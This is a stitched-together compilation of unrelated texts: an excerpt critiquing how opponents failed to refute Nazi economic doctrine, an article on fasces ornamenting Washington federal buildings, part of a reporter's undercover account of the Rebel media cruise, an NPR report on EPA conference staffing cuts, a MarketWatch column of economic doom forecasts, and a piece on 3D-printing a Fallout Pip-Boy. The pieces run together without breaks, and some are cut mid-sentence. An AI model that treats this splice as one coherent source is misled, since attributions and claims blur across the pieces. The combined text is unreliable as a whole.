We do not need to deal here with the refutation of the fallacies in these six dogmas. This is the task of treatises expounding the basic problems of economic theory. It is a task that has already been fulfilled. We need only emphasize that whoever lacks the courage or the insight to attack these premises is not in a position to find fault with the conclusions drawn from them by the Nazis.
The Nazis also desire government control of business. They also seek autarky for their own nation. The distinctive mark of their policies is that they refuse to acquiesce in the disadvantages which the acceptance of the same system by other nations would impose upon them. They are not prepared to be forever “imprisoned,” as they say, within a comparatively overpopulated area in which the productivity of labor is lower than in other countries.
Both the German and foreign adversaries of Nazism were defeated in the intellectual battle against it because they were enmeshed in the same intransigent and intolerant dogmatism. The British Left and the American progressives want all-round control of business for their own countries. They admire the Soviet methods of economic management.
In rejecting German totalitarianism they contradict themselves. The German intellectuals saw in Great Britain’s abandonment of free trade and of the gold standard a proof of the superiority of German doctrines and methods. Now they see that the Anglo-Saxons imitate their own system of economic management in nearly every respect. They hear eminent citizens of these countries declare that their nations will cling to these policies in the postwar period. Why should not the Nazis be convinced, in the face of all this, that they were the pioneers of a new and better economic and social order?
The chiefs of the Nazi party and their Storm Troopers are sadistic gangsters. But the German intellectuals and German labor tolerated their rule because they agreed with the basic social, economic, and political doctrines of Nazism. Whoever wanted to fight Nazism as such, before the outbreak of the present war and in order to avoid it (and not merely to oust the scum which happens to hold office in present-day Germany), would have had to change the minds of the German people. This was beyond the power of the supporters of etatism.
It is useless to search the Nazi doctrines for contradictions and inconsistencies. They are indeed self-contradictory and inconsistent; but their basic faults are those common to all brands of present-day etatism.
One of the most common objections raised against the Nazis concerned the alleged inconsistency of their population policy. It is contradictory, people used to say, to complain, on the one hand, of the comparative overpopulation of Germany and ask for more Lebensraum and to try, on the other hand, to increase the birth rate. Yet there was in the eyes of the Nazis no inconsistency in these attitudes. The only remedy for the evil of overpopulation that they knew was provided by the fact that the Germans were numerous enough to wage a war for more space, while the small nations laboring under the same evil of comparative overpopulation were too weak to save themselves. The more soldiers Germany could levy, the easier it would be to free the nation from the curse of overpopulation. The underlying doctrine was faulty; but one who did not attack the whole doctrine could not convincingly find fault with the endeavors to rear as much cannon fodder as possible.
One reason why the objections raised to the despotism of the Nazis and the atrocities they committed had so little effect is that many of the critics themselves were inclined to excuse the Soviet methods. Hence the German nationalists could claim that their adversaries—both German and foreign—were being unfair to the Nazis in denouncing them for practices which they judged more mildly in the Russians. And they called it cant and hypocrisy when the Anglo-Saxons attacked their racial doctrines. Do the British and the Americans themselves, they retorted, observe the principle of equality of all races?
The foreign critics condemn the Nazi system as capitalist. In this age of fanatical anticapitalism and enthusiastic support of socialism no reproach seems to discredit a government more thoroughly in the eyes of fashionable opinion than the qualification pro-capitalistic. But this is one charge against the Nazis that is unfounded. We have seen in a previous chapter that the Zwangswirtschaft is a socialist system of all-round government control of business.
It is true that there are still profits in Germany. Some enterprises even make much higher profits than in the last years of the Weimar regime. But the significance of this fact is quite different from what the critics believe. There is strict control of private spending.
No German capitalist or entrepreneur (shop manager) or any one else is free to spend money on his consumption than the government considers adequate to his rank and position in the service of the nation. The surplus must be deposited with the banks or invested in domestic bonds or in the stock of German corporations wholly controlled by the government.
Hoarding of money or banknotes is strictly forbidden and punished as high treason. Even before the war there were no imports of luxury goods from abroad, and their domestic production has long since been discontinued. Nobody is free to buy more food and clothing than the allotted ration. Rents are frozen; furniture and all other goods are unattainable.
Travel abroad is permitted only on government errands. Until a short time ago a limited amount of foreign exchange was allotted to tourists who wanted to spend a holiday in Switzerland or Italy. The Nazi government was anxious not to arouse the anger of its then Italian friends by preventing its citizens from visiting Italy.
The case with Switzerland was different. The Swiss Government, yielding to the demands of one of the most important branches of its economic system, insisted that a part of the payment for German exports to Switzerland should be balanced by the outlays of German tourists. As the total amount of German exports to Switzerland and of Swiss exports to Germany was fixed by a bilateral exchange agreement, it was of no concern to Germany how the Swiss distributed the surplus. The sum allotted to German tourists traveling in Switzerland was deducted from that destined for the repayment of German debts to Swiss banks. Thus the stockholders of the Swiss banks paid the expenses incurred by German tourists.
German corporations are not free to distribute their profits to the shareholders. The amount of the dividends is strictly limited according to a highly complicated legal technique. It has been asserted that this does not constitute a serious check, as the corporations are free to water the stock. This is an error. They are free to increase their nominal stock only out of profits made and declared and taxed as such in previous years but not distributed to the shareholders.
As all private consumption is strictly limited and controlled by the government, and as all unconsumed income must be invested, which means virtually lent to the government, high profits are nothing but a subtle method of taxation.
The consumer has to pay high prices and business is nominally profitable. But the greater the profits are, the more the government funds are swelled. The government gets the money either as taxes or as loans. And everybody must be aware that these loans will one day be repudiated.
For many years German business has not been in a position to replace its equipment. At the end of the war the assets of corporations and private firms will consist mainly of worn-out machinery and various doubtful claims against the government. Warring Germany lives on its capital stock, i.e., on the capital nominally and seemingly owned by its capitalists.
The Nazis interpret the attitudes of other nations with regard to the problem of raw materials as an acknowledgment of the fairness of their own claims. The League of Nations has established that the present state of affairs is unsatisfactory and hurts the interests of those nations calling themselves have-nots.
The fourth point of the Atlantic Declaration of August 14, 1941, in which the chiefs of the governments of the United Kingdom and of the United States made known “certain common principles in the national policies of their respective countries on which they base their hope for a better future of the world,” reads as follows: “They will endeavor, with due respect for their existing obligations, to further the enjoyment by all States, great or small, victor or vanquished, of access, on equal terms, to the trade and to the raw materials of the world which are needed for their economic prosperity.”
The Roman Catholic Church is, in a world war, above the fighting parties. There are Catholics in both camps. The Pope is in a position to view the conflict with impartiality. It was, therefore, in the eyes of the Nazis very significant when the Pope discovered the root causes of the war in “that cold and calculating egoism which tends to hoard the economic resources and materials destined for the use of all to such an extent that the nations less favored by nature are not permitted access to them,” and further declared that he saw “admitted the necessity of a participation of all in the natural riches of the earth even on the part of those nations which in the fulfillment of this principle belong to the category of givers and not to that of receivers.”
Well, say the Nazis, everybody admits that our grievances are reasonable. And, they add, in this world which seeks autarky of totalitarian nations, the only way to redress them is to redistribute territorial sovereignty. It was often contended that the dangers of autarky which the Nazis feared were still far away, that Germany could still expand its export trade, and that its per capita income continued to increase. Such objections did not impress the Germans. They wanted to realize economic equality, i.e., a productivity of German labor as high as that of any other nation.
The wage earners of the Anglo-Saxon countries too, they objected, enjoy today a much higher standard of living than in the past. Nevertheless, the “progressives” do not consider this fact a justification of capitalism, but approve of labor’s claims for higher wages and the abolition of the wages system. It is unfair, said the Nazis, to object to the German claims when nobody objects to those of Anglo-Saxon labor.
The weakest argument brought forward against the Nazi doctrine was the pacifist slogan: War does not settle anything. For it cannot be denied that the present state of territorial sovereignty and political organization is the outcome of wars fought in the past. The sword freed France from the rule of the English kings and made it an independent nation, converted America and Australia into white men’s countries, and secured the autonomy of the American republics. Bloody battles made France and Belgium predominantly Catholic and Northern Germany and the Netherlands predominantly Protestant. Civil wars safeguarded the unity of the United States and of Switzerland.
Two efficacious and irrefutable objections could well have been raised against the plans of German aggression. One is that the Germans themselves had contributed as much as they could to the state of affairs that they considered so deplorable. The other is that war is incompatible with the international division of labor. But “progressives” and nationalists were not in a position to challenge Nazism on these grounds. They were not themselves concerned with the maintenance of the international division of labor; they advocated government control of business which must necessarily lead toward protectionism and finally toward autarky.
The fallacious doctrines of Nazism cannot withstand the criticism of sound economics, today disparaged as orthodox. But whoever clings to the dogmas of popular neo-Mercantilism and advocates government control of business is impotent to refute them. Fabian and Keynesian “unorthodoxy” resulted in a confused acceptance of the tenets of Nazism. Its application in practical policies frustrated all endeavors to form a common front of all nations menaced by the aspirations of Nazism.CAROL M. HIGHSMITH/THE GRANGER COLLECTION, NY
More than 60 years ago, George Orwell observed that the word “fascism” had been so widely used as a political epithet that it had lost all meaning. That remains true today, as partisans across the political spectrum still enjoy using the term, mostly in a figurative sense, to excoriate their opposition. With the word so freely and easily tossed about, it’s a wonder that no one has thought to apply it, if only for provocation’s sake, to structures that bear actual fascist symbols—those of the United States government, no less. Bizarre as it seems, many federal buildings in Washington were designed prominently with fasces, the emblem of Italian dictator Benito Mussolini’s twentieth-century regime. Even more surprisingly, these structures were erected in the 1920s and 1930s—just as Mussolini was ornamenting Italy’s government buildings with the same symbol.
Sixty-nine years after Il Duce’s death, Washington’s public buildings remain bedecked with these symbols. Twelve large fasces, for example, adorn the Pennsylvania Avenue side of the Department of Justice building—in relief on the attic level, directly above the engraving of the department’s name. The bas-reliefs on the flagpoles at the Supreme Court, done by the architect Cass Gilbert in 1935, also feature fasces as one of seven symbols of justice’s manifold attributes. (Here, the fasces look particularly incongruous. The building’s classicism—with its Corinthian columns and triangular pediment—is in the ornate Greek style, not the more pared-down and severe Roman style.) And that’s just for starters.
JIM LO SCALZO/EPA/CORBIS
The federal fasces have oddly escaped the notice of modern observers, but their story sheds light on the often curious histories of cultural symbols. How did the fasces get there? Stranger still, how did they escape effacement during our mid-century war with the Italian fascist regime? And how should we think about them today?
Fasces ornamentation had no nefarious connotation before Mussolini. In republican Rome, the chief magistrates were protected in public by lictors: bodyguards who each carried a fasces, a bundle of 12 rods tied together and surrounding outward-facing axes. The lictors used this unwieldy-looking scepter to chastise wrongdoers, and it came to symbolize the coercive power of the consul.
The use of fasces in public architecture across the United States was unremarkable. Fasces were part of the standard visual vocabulary of classicism. Like the lamp and the scales, they represented a particular attribute of the classical view of justice: physical power or the ability to impose order. The American Founders admired Roman republicanism, drawing from it both their pen names and many of their principles. Thus, the House of Representatives, in one of its first official acts in 1789, adopted the fasces as the emblem of its sergeant at arms. The House fasces—still visible to the Speaker’s right when the full House meets in the House chamber—has 13 rods, one more than in the Roman model, to represent the unified strength of the original American states. Yet despite their popularity in the Federal era, fasces weren’t a common motif in nineteenth-century architecture.
When he came to power in Italy in 1922, Mussolini resurrected the symbol and employed it to represent the strength and unity of the Italian state. Political fascism made physical power and the ability to impose order central to its ideology, and so the term “fascism” quickly became synonymous with authoritarian regimes. Mussolini made the fasces symbol almost as common in Italy as the Nazi swastika became in Hitler’s Germany. If people associate the fasces with fascism less than they associate the swastika with Nazism, it may simply be because Il Duce’s historical infamy pales beside Hitler’s (and that of our World War II ally, Stalin). Fasces were carved into countless Italian public buildings. An entire complex—the Littoria—was made to resemble giant stylized fasces. Mussolini put fasces on the Italian flag, stamps, military insignia, and even manhole covers. As early as 1922, the Washington Post reported that “Mussolini has ordered the coinage of money in a new design, bearing the fasces... ‘as the emblem of ancient Rome and the new Italy regenerated by the fascisti.’ ”
So when fasces started popping up on major federal buildings in Washington, D.C., in the 1920s and 1930s, no politically aware citizen could have been ignorant of the connotation. American architects knew of Mussolini’s grandiose building projects, and some publicly lauded them. Cass Gilbert, who designed the Supreme Court building, met Mussolini on a 1927 visit to Italy to procure marble for the project. No doubt Gilbert saw the countless fasces in |
alluded to this fact). “I’m a medieval scholar,” Pipes told Rob. “I can go toe to toe with you on this.”
The Q&A moved on, and Rob was left visibly unsatisfied. (Later, Rob would tell me, he cornered Pipes at breakfast and tried to press the issue, but Pipes did not want to engage—“He turtled on me.” Late on Saturday night, at the end of the cruise, my wife and I ran into Rob’s plus one in a corridor. Possibly joking, she told us that Rob had retired early, exhausted after “chasing Daniel Pipes up and down the ship.”)
As the session headed into its final quarter hour, Larry kept half rising from his chair, holding his hand aloft. I started to suspect he was being deliberately ignored by the Rebel staffer carrying a microphone from questioner to questioner. When Pipes announced that there was time for only one or two more questions, Larry became even more agitated, bouncing up and down in place. Still the mic was denied him. Finally, as people were getting up to leave (even Rebels grow weary of discussing the perils of Islam, apparently), he gave up on the mic altogether and blurted out that he had a question.
“If it’s quick,” said Pipes.
“It won’t be quick,” was the answer.
Pipes shook his head, a rising burble of small talk drowned out Larry, and that was that—he had lost the chance to out Raza as a fake Muslim.
It was only later that day, during a completely different session, that Larry finally had his moment and asked the speakers to assess the (absent) woman’s devotion to her professed religion. It was Levant who responded this time. To his credit, he refused to answer on Raza’s behalf: “Who am I to tell her she’s not a Muslim?”
How does an ordinary Canadian become a Rebel? During my week at sea, I began to classify Rebels according to the issues that made them angriest—the ones that had originally brought them into Levant’s orbit. Fear of Islam and a distrust of mainstream climate-change science were the most prevalent. Rebels might start out as temperate conservatives, centrists, or even leftists (Faith Goldy said that her conservatism had emerged from the ashes of a youthful hard-left zeal). But at some point, a gateway issue draws them in.
Maybe a sudden spike in a tax bill is what enrages them, or they lose their job. It could be a workplace incident in which they’re accused of exhibiting some stigmatized trait—racism, sexism, transphobia—that they don’t believe they possess. Or, watching the news, they are overcome by the horror of an ISIS terrorist attack.
Finding scant support for his views in the mainstream media, the nascent Rebel turns to Google, where his search for truth might lead to one of the many clickbait videos posted on Levant’s web site. (The Rebel has racked up more than six million YouTube views per month since its launch in early 2015. No one writes a headline like Levant.) Driven by a convert’s zeal, the newly minted Rebel becomes not only a steady consumer of Rebel content but also a publisher—spamming his friends with the stuff on Twitter and Facebook.
One Rebel I met, a middle-aged oil-patch worker from northern Alberta, described his daily media consumption as follows: First he goes to Breitbart for news, then the Rebel for “analysis,” then his local Sun newspaper “for entertainment.” Time permitting, he’ll move on to the Globe and Mail or the Toronto Star or the CBC—but only if he isn’t already “angry enough.” (That last bit was said partly in jest, but the rest was in earnest.) I met members of two families for whom Rebel consumption is a daily bonding ritual: One retired couple keeps the laptop open on the breakfast table every morning, with Rebel videos turned up loud. One mother watches Rebel videos every night with her teenaged daughters.
How much will these people influence Canadian politics in the Trump era?
The site generally does not publish “fake news” or such nonsense as 9/11 Trutherism. Almost everything you see on the Rebel contains at least some germ of truth; even videos with outrageous titles such as “Liberals are ISIS” present their arguments by extrapolating from actual news. But I did meet Rebels so alienated from liberal Canadian society that they had apparently descended into full-blown conspiracism. One of these was the Albertan hospital clerk—a middle-aged woman with a grim demeanour. Referring to the fire that ravaged Fort McMurray last May, she said, “A spark at one end of the city, and a spark at the other end, at the same time? Pretty big coincidence... That doesn’t sound like a wildfire to me. But they say it’s a wildfire, and that’s what they keep repeating.”
She didn’t provide a source for her suspicions, but I would later learn that social- media rumours and fabricated news reports had suggested that ISIS or eco-activists—or even Premier Rachel Notley, a consistent target of Rebel media attacks—had started the fire. (One article was doctored to look like a screen grab from a CBC page. The counterfeiting was so shoddy that the name of the alleged reporter had been misspelled.)
How much are these Rebels going to influence the course of Canadian politics in the Trump era? Until recently, one might have said: not at all. But the sheer speed of the Rebel’s expansion—Levant now has almost thirty staffers under him, as many as a small newspaper, and a massive donor list—suggests there is a market for his message. Not for nothing are so-called populists such as Kellie Leitch appearing at Rebel-organized rallies. At the grassroots level, Levant’s army of Twitter followers can make life difficult for anyone who angers them. Even politicians who despise Levant have good reason not to cross him.
Over time, Levant’s professional life has become a tangle of online feuds, burned bridges, and lawsuits. It’s understandable that targets of his vitriol treat him with contempt. But in the Rebel context, in the company of his faithful followers (and having no reason to suspect that I was not one of them), Levant was pleasant company. He furrowed his brow and spoke hesitantly when putting forward an idea he wasn’t yet sure about, or when sharing a provocative idea he’d chanced on in his reading. He admitted when he was delving into an area he hadn’t studied. He showed a sensitive side. Telling the story behind a folk song about popular resistance to communism in Warsaw, he became a bit misty-eyed. Perhaps it’s all an act. If so, it’s a convincing one.
There is much debate in media circles about whether Levant is a true believer in his cause—or simply an ideological huckster punching a meal ticket. I came away convinced that he’s genuine. I think he believes he’s doing the right thing. Even when his approach is brutally insensitive or worse, I think he feels justified by the supposed righteousness of his cause.
Panellist Lorne Gunter mentioned a witticism widely attributed to Robert Frost: “A liberal is a man too broad-minded to take his own side in a quarrel.” We all had a good laugh at this. But I was probably the only one in the room laughing with self-recognition. Whatever else may be said of them, Rebels have the courage of their convictions. Like Trump’s core followers, they think they know just what’s gone wrong with the world — and who’s responsible. It must be comforting to live with this kind of moral certainty, even if it finds outward expression in anger and agitation.
On Saturday night, at the final cocktail mixer, I was approached by the Rebel’s cameraman, who was circulating among the guests and recording spontaneous recaps of our week at sea.
For a week, I’d been posing as a Rebel without telling a single lie. Now, with the lens staring me down and another Rebel looking on, I felt it would draw unwanted attention if I did not have anything to say. So I spoke.
Here is what I remember saying: “This is the Rebel Cruise, a cruise unlike any other.” I looked to the side as if to locate Ezra Levant in the room. “Ezra is doing stuff in Canada no one does.” What else could I say? Just one more sentence and I could wrap this up. I hesitated.
I thought of long dinners during which I’d been regaled with relentless waves of commentary while I held my tongue and listened. I recalled one Rebel, a young man in a “Make America Great Again” cap, positing that Canada lags behind the US politically by a decade, that our own Trump moment is just around the corner. I thought of the serene Bahamian beach, of Larry railing at whoever would listen.
The camera was still rolling. Something had to be said. I took a breath and spoke: “It was a hell of a time.”
Finally, in a way, I was telling the whole truth.EPA Halves Staff Attending Environmental Conference In Alaska
Enlarge this image toggle caption Aaron P. Bernstein/Getty Images Aaron P. Bernstein/Getty Images
The Environmental Protection Agency's presence at an environmental conference in Alaska this week was cut in half, after the Trump administration's transition officials ordered the change. The agency had helped to plan the Alaska Forum on the Environment — but days before it was to start, word came that half of the EPA's 34 planned attendees wouldn't be making the trip.
"We were informed that EPA was directed by the White House transition team to minimize their participation in the Alaska Forum on the Environment to the extent possible," forum director Kurt Eilo says.
The change has created awkward scenes at the conference, particularly at events meant to highlight the EPA's role in Alaska, a state known for both its pristine ecosystems and its oil production.
More than a thousand people attend the multiday event in downtown Anchorage each year, and the EPA is normally a major partner. This year, agency officials were scheduled to take part in about 30 sessions on everything from drinking water and sanitation in rural Alaska to climate change adaptation.
In an emailed statement, EPA transition official Doug Ericksen says the decision to cut back is an effort to limit excessive travel costs. He says a review last week found that EPA spent $44 million on travel last year, including sending employees to 25 outside conferences. When officials learned that 34 employees were slated to attend the Alaska event, they slashed the number to 17.
"This is one small example of how EPA will be working cooperatively with our staff and our outside partners to be better stewards of the American people's money," Ericksen said.
Some EPA staff whose plans to attend the conference were revoked would have come from Seattle or Washington, D.C. — but Eilo said others are based just blocks away from the downtown Anchorage site.
Eilo himself was an EPA enforcement officer when he founded the Alaska conference two decades ago. He says this is the first time he can recall this happening. While he understands the impulse to review travel spending, he says the cutbacks also raise a red flag.
"There's a lot of uncertainty among folks here at the forum," Eilo said. "There's concern about the tribal programs, there's concern about how we're going to address things like climate change in the next upcoming administration."
As the Alaska Dispatch News reports, one panel discussion that was to feature six EPA staffers Tuesday instead included two EPA representatives. While the topic had originally been planned to center on the agency's grant system, the officials instead fielded questions about changes at the EPA.
The order to reduce staff numbers at the conference is the latest sign of a shift in priorities for the EPA under a new president. Days after President Trump's inauguration, Ericksen said the agency's scientists will likely need to have their work reviewed on a "case by case basis" before it can be made public.
On Thursday, the fourth day of the weeklong conference in Anchorage, attendees kicked snow off their shoes as they walked into the Dena'ina Center. Many were unaware that the EPA presence had been slashed. Organizer Elio acknowledges that the agency worked hard to minimize disruption from the change in plans. In the end, only one of the conference's more than 100 sessions had to be canceled.
The conference drew attendees who had flown in from Alaska's rural communities where the EPA works with tribes to fund programs on drinking water, sanitation and trash collection. Breakout sessions focused on issues such as brownfield cleanup, emergency response and dealing with coastal erosion due to climate change.
Billy Maines is the environmental coordinator for the Curyung Tribal Council in Dillingham, Alaska, who also serves as an adviser to EPA Region 10 on its tribal programs. He said the agency's direct assistance to Alaska's rural communities is vital.
"They're trying to take up and clean up their dumps, landfills, trying to recycle and get what waste goes into their communities, out of their communities," he said.
Maines and others worry the cutback on conference attendees might be a sign of broader, and more painful, budget cuts to come.
Trump's nominee for EPA chief is Scott Pruitt, the Oklahoma attorney general who has criticized — and repeatedly sued — the agency he's now in line to lead.
Pruitt's nomination was advanced to the full Senate last week, after Democrats on the Senate Environment and Public Works Committee refused to attend meetings that were meant to hold confirmation votes on Pruitt.
During his confirmation hearing weeks earlier, Pruitt said his past actions had been made out of concern for his home state and that if he were to lead the EPA, his decisions would be dictated by "the rule of law."
Pruitt, who has questioned climate change, also sought to answer critics who have faulted him for that stance, saying in a January hearing:
"Let me say to you, science tells us that the climate is changing and that human activity in some matter impacts that change. The ability to measure with precision the degree and extent of that impact, and what to do about it, are subject to continuing debate and dialogue. And well it should be."
Rachel Waldholz reports for Alaska Public Media.ARROYO GRANDE, Calif. (MarketWatch) -- Test time: A neuroeconomic peek inside your brain's new strategy as we enter the "Doomsday Decade" and leave behind the "Lost Decade" ("lost" because the Dow dropped from 11,497 to 10,428 in 10 years, while Wall Street got rich wiping out almost 10% of your retirement funds). Test your 2010 strategy. Are you an...
Optimist? As the new decade starts, are you an optimist who trusts Wall Street's advice that 2010 will be a great time to buy stocks. Wall Street says the "Lost Decade" (what a great title) is now behind us. So you believe that the 60% market rally since the March 2009 bottom will continue, with at least 20% gains in 2010.
As the new decade starts, are you an optimist who trusts Wall Street's advice that 2010 will be a great time to buy stocks. Wall Street says the "Lost Decade" (what a great title) is now behind us. So you believe that the 60% market rally since the March 2009 bottom will continue, with at least 20% gains in 2010. Pessimist? Or, you're distrustful, cynical and pessimistic about all predictions made by Wall Street's bosses and pundits. You're particularly skeptical of any and all forecasts by the "too-greedy-to-fail" bankers who stole trillions from taxpayers, the Fed and Treasury, then failed to stimulate the economy and now pocket mega-bailout bucks as record bonuses, just one year after we saved Wall Street from near bankruptcy.
This is a simple test of your mindset. Betting odds say most of you will pick answer "1." Why? America was founded by optimists. You believe that a "happy conspiracy" binds politicians, CEOs and Wall Street, making capitalism work and America a powerful nation: So you accept Wall Street's greed, lies and thievery as the price of "free-market capitalism," and part of America's DNA. You embrace "capitalism-without-morals."
Unfortunately, optimism also blinds us to our individual and national faults: Hidden saboteurs tell us we know more than we do, have amazing skills we don't, and are protected by divine forces against dark enemies and even our own irrational stupidity. Yes, optimism is our inner enemy that periodically triggers trillion-dollar meltdowns.
New strategy: 'Getting back to even' means new risks, more debt
True optimists are gung-ho about the future, expecting to recover losses and, as CNBC television host Jim Cramer preaches, "get back to even" in 2010. But the problem is no one has a clue if the market will ever "get back to even."
Quite the opposite, since Fed chief Ben Bernanke is pushing the same optimistic cheap-money fantasies that his predecessor Alan Greenspan used to create the dot-com and the subprime crashes. We can expect to see the next bubble fizzle and pop, pushing us deep into the dreaded Great Depression 2 that the Fed and Treasury are trying to avoid by downstreaming today's problems onto future generations.
But soon future generations will start screaming: "The buck stops here" and revolt when the buck isn't worth much, and they've lost faith in the dollar (just like China). Then the game of musical chairs will end, tragically, sadly, stupidly, unfortunately. Why? Because we failed to stop short of total disaster, failed to prepare, and it's too late.
So to all you optimists who plan to actively invest in 2010 because you accept that America's "capitalism-without-morals" is working in spite of Wall Street's quasi-criminal behavior: Here's some dark-side input to factor into your investment equation for 2010 and beyond.
Listen closely to the words of our 12 "Dr. Dooms." For a moment, take off your rose-colored glasses, step out of your denial, see the Great Depression 2 dead ahead, really look at the future our "Dr. Dooms" see in their "Doomsday Scenarios:"
1. Faber: The 'American Empire' has peaked, is on a decline
Hong Kong economist Marc Faber says "the average life span of the world's greatest civilizations has been 200 years... Once a society becomes successful it becomes arrogant, righteous, overconfident, corrupt, and decadent... overspends... costly wars... wealth inequity and social tensions increase; and society enters a secular decline."
2. Grantham: Learned nothing, doomed to repeat past, only bigger
Money manager Jeremy Grantham warns that our irrational nightmare will repeat. A year ago we came dangerously close to the "Great Depression 2." Unfortunately, we've "learned nothing... condemning ourselves to another serious financial crisis in the not too-distant future."
We had our bear-market rally. Next, historical cycles plus our irrational behavior guarantees another, bigger global meltdown. We "learned nothing."
3. Stiglitz: Wall Street creating short respite before next crash
Nobel economist Joseph Stiglitz recently warned: Unless Wall Street's incentive system is drastically reformed, "the financial sector will only try to circumvent whatever new regulations we put in place. We will simply have a short respite before the next crisis." Warning, nothing's changed, it's worse: Lobbyists run Obama, Congress and the Fed.
4. Johnson: Running out of time before Great Depression 2
Yes, "we're running out of time... to prevent a true depression," warns former IMF chief economist Simon Johnson. The "financial industry has effectively captured our government" and is "blocking essential reform," and unless we break Wall Street's "stranglehold" we will be unable prevent the Great Depression 2.
5. Ferguson: Fed's easy money fuels new bubbles, meltdowns
In the 400-year history of the stock market "there has been a long succession of financial bubbles," says financial historian Niall Ferguson. Who's the culprit? The Fed: "Without easy credit creation a true bubble cannot occur. That is why so many bubbles have their origins in the sins of omission and commission of central banks."
Another bubble (and crash) is virtually certain, thanks to Washington's $23.7 trillion explosion in debt, the Fed's support for the $670 trillion shadow banking system and Wall Street lobbyists getting superrich thanks to Wall Street's insatiable greed.
6. Taleb: Fed haunted by ghost of Greenspan's failed Reaganomics
When Obama reappointed Bernanke, Nassim Taleb, risk-management professor and author of "The Black Swan," warned of a new disaster: "The world has never, never been as fragile," yet Obama reappoints an economist who "doesn't even know he doesn't understand how things work." New proof? At last week's American Economic Association, Bernanke was still shifting the blame: "The best response to the housing bubble would have been regulatory, not monetary."
Wrong: He conveniently forgets he was advising Bush earlier, did nothing. Now Obama's stuck with a Greenspan clone and an insane ideology focused solely on saving a failed banking system by flooding the world with inflated dollars guaranteed to trigger another meltdown
7. Soros: Dollar dead as a reserve currency, nest eggs dying
Billionaire investor George Soros' "New Paradigm:" America's 25-year "superboom... led to massive deregulation... blindly chasing free markets... unleashed excessive greed... created the dot-com and credit meltdowns" and a "shadow banking system" of derivatives.
"The system is broken. The current crisis marks the end of an era of credit expansion based on the dollar as the international reserve currency," warns Soros. "We're now in a period of wealth destruction. It is going to be very hard to preserve your wealth in these circumstances."
8. Hedgers: make billions shorting stupid politicians, bankers
Soros isn't alone. Lots of hedge fund buddies made hundreds of millions and billions betting on the stupidity of Washington with the Fed's cheap-money policies. Alpha magazine reports that four hedgers made more than $1 billion each in 2008. The top-25 "managers made $464 million each on average last year... a kingly sum, especially during a year of global recession, stock market wipeouts and vanishing wealth."
9. Shiller: Dot-com, subprime meltdowns, 'third episode' next
Economist Robert Shiller a "Dr. Doom?" Remember a decade ago with "Irrational Exuberance?" Now he's warning: "Bubbles are primarily social phenomena. Until we understand and address the psychology that fuels them, they're going to keep forming. We recently lived through two epidemics of excessive financial optimism, we are close to a third episode, only this one will spread irrational pessimism and distrust -- not exuberance."
10. Kaufman: Irrationality replaced reason, science, technology
Henry Kaufman was Salomon's chief economist and "Dr. Doom" for 24 years: "Why are we so poor at managing our key economic institutions while at the same time so accomplished in medicine, engineering and telecommunications? Why can we land men on the moon with pinpoint accuracy, yet fail to steer our economy away from the rocks? Why do our computers work so well, except when we use them to manage derivatives and hedge funds?"
Kaufman warns: "The computations were correct, but far too often the conclusions drawn from them were not." Why? Selfish, myopic politicians and bankers.
11. Biggs: Sell everything, buy guns, food, head for the hills
In his 2008 bestseller "Wealth, War and Wisdom" former Morgan Stanley research guru Barton Biggs warns us to prepare for a "breakdown of civilization... Your safe haven must be self-sufficient and capable of growing some kind of food... It should be well-stocked with seed, fertilizer, canned food, wine, medicine, clothes, etc... A few rounds over the approaching brigands' heads would probably be a compelling persuader that there are easier farms to pillage." Biggs sounds like an anarchist militiaman.
12. Diamond: Nations ignore obvious till it's too late, then collapse
The end will be swift. In our age of short-term consumerism and instant gratification, few hear the warnings of our favorite evolutionary biologist, Jared Diamond. Societies fail because they're unprepared, will be in denial till it's too late: "Civilizations share a sharp curve of decline. Indeed, a society's demise may begin only a decade or two after it reaches its peak population, wealth and power."
The warnings were everywhere in 2008, but Greenspan, Bernanke and former Treasury Secretary Henry Paulson were in denial: It will happen again with Obama. Downstreaming problems will fail. Future bubbles get too big, crashes more deadly.The Limited Fallout 4 Pip-Boy Edition is legendary. It sold out in just a few hours after the announcement. Unless you are willing to pay $350 and wait several months for delivery, there’s nearly no chance of putting your hands on one of gaming’s most treasured loot. The good news is that you can 3D print your own Pip-Boy. We’ve checked if it‘s worth your time. (last update: 12/08/2016)
So you’ve been to the Overseer’s room, grabbed that Pip-Boy at the exit… you’re ready to make your way out Vault 111. But you have that nagging feeling your are missing something? Is your left arm too light? Shouldn’t there be a real Pip-BoyLimited Pip-Boy Edition?
The “Fallout 4 Pip-Boy Edition” was listed for pre-order at Amazon. Retailing for $119.99 (no Nuka-Cola caps accepted), the bundle includes a wearable Pip-Boy sleeve into which you can slot your smartphone. Also included is a Pip-Boy pocket guide, a ROBCO Industries stand, a Vault-Tec Perk Poster, a collectible metal case and a copy of the game as well.
Unfortunately, this ultra-collectible totally sold out a few hours. It took some time, but now Bethesda announced a new Pip-Boy: Deluxe Bluetooth Edition. It’s for sale on pre-order again, but if you order it today, you won’t be playing in three month’s time. It can’t be shipped anywhere but the US, Canada, and Australia. And it costs $350.
For some vault dwellers, that’s okay. But if you want one now, you should take a print a Fallout Pip-Boy on your own. Here‘s an example.
Your Choice: A 3D Printed Fallout Pip-Boy Replica or the Limited Edition
So everything boils down to some choices:
Forget the Pip-Boy and enjoy the game as it is (and it’s pretty damn good). Pay $350 or more for the Limited Edition on eBay or Amazon Marketplace. Buy it from Bethesda / Thinkgeek with a considerable delay. 3D print your own Pip-Boy or find someone who can professionally 3D print this thing!
While ee can‘t help you with that decision, we can provide you with some facts.
A real Pip-Boy on your arm will slow down the gameplay. If you are immersed in playing, using a real Pip-Boy takes some time. It will slow down your gameplay, as you have to drop the controller, focus your eyes on the Pip-Boy, switch and turn dials… it just takes some seconds. This can be annoying, especially as V.A.T.S. attacks now take place in sort of a slow-motion fights. So if these ghoul hordes are running towards you, you lose considerable time when switching weapons with a real Pip-Boy. Maybe that makes up for the mission “hardcore” mode. The Limited Edition Pip-Boy is expensive, but fun to use and great to wear. All3DP got hold of a Limited Edition Pip-Boy. Our impression? It‘s worked perfectly. You just insert your smartphone (everything’s provided), clip it to your arm, close the buckle and start playing. Also, it’s a great collectible. The 3D printed version can do more than the 3D printed version. The cool thing about the 3D printed Pip-Boy Edition is that this gizmo can actually work if you add some electronics. So instead of tweaking your stats with your game controller, you could use dials and switches on your Pip-Boy. The 3D printed Pip-Boy has some drawbacks – but you can customize it. First of all, 3D printing your Pip-Boy will take some time – several hours for the print, several more to assemble the bits and pieces. If you are not skilled for that, you can resort to 3D printing services (more info here). But your can customize your Pip-Boy by painting it or printing it in a slightly different size – whatever suits you, you can do with 3d printing.
A 3D Print Fallout Pip-Boy From 3D Hubs
